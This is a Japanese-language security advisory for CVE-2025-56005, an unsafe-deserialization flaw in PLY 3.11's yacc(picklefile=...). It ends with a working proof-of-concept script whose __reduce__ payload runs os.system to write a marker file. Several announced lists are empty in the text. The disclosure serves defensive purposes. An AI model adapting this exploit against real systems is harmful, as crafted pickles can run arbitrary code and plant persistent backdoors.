CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`
PyPIで配布されているPLY 3.11には、yacc()関数がpicklefileパラメータを指定して呼び出された際に任意のコード実行を可能にする、未文書化かつ安全でない機能が存在します。
picklefileパラメータは、PLYに.pklファイルをPythonのpickle.load()を用いて検証なしでデシリアライズさせます。Pythonのpickleモジュールはデシリアライズ中に任意のコード実行(例:__reduce__()経由)をサポートしているため、攻撃者が指定されたpickleファイルを制御できる場合、パーサーの初期化中に任意のコードを実行できます。
このパラメータは公式のPLYドキュメントやGitHubリポジトリには文書化されていませんが、PyPIリリースでは有効になっています。
攻撃者がyacc(picklefile=...)に渡される.pklファイルを制御、置換、または影響を与えることができた場合、以下を達成できます:
これは、以下の場所からパーサーテーブルを読み込むアプリケーションに影響を与える可能性があります:
ply.yacc.yacc(picklefile=...)ply/yacc.py内のLRTable.read_pickle()この脆弱性は、そのステルス性と永続化の可能性により、高いリスクをもたらします。
picklefileパラメータは、公式のPLYドキュメントやGitHubリポジトリには文書化されていません。しかし、PyPIで配布されているPLY 3.11にはこの機能が含まれており、提供されたファイルを検証なしでpickle.load()を用いて処理します。
Pythonのpickleモジュールはデシリアライズ中に埋め込まれたコードの実行を許可するため、悪意のあるpickleファイルは、パースロジックが呼び出される前のパーサーセットアップ中に任意のコードを実行できます。
執筆時点で、メンテナーはこの動作を公に認めていません。
この機能は、特にパーサーテーブルファイルが以下の環境で、永続的なバックドアを導入するために悪用される可能性があります:
文書化の欠如、サイレントな実行パス、および安全でないデシリアライズの高い影響を考慮すると、下流のユーザーに注意を促し保護するためにCVEの割り当てが正当化されます。
この概念実証は、未文書化のpicklefileパラメータを介して悪意のあるpickleファイルが提供された場合の任意のコード実行を実証します。
PoCは以下を行います:
yacc(picklefile='exploit.pkl')が呼び出されると、パーサーの初期化中に任意のコードが実行されます。
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc
tokens = ('EXAMPLE',)
def t_EXAMPLE(t):
r'example'
return t
def p_sample(p):
'sample : EXAMPLE'
pass
class Exploit:
def __reduce__(self):
cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
return (os.system, (cmd,))
malicious_data = {
'_tabversion': '3.11',
'_lr_action': {0: {}},
'_lr_goto': {0: {}},
'_lr_productions': [
(None, 0, 0, 0, Exploit())
],
'_lr_method': 'LALR'
}
with open('exploit.pkl', 'wb') as f:
pickle.dump(malicious_data, f)
parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')
picklefileパラメータを使用しない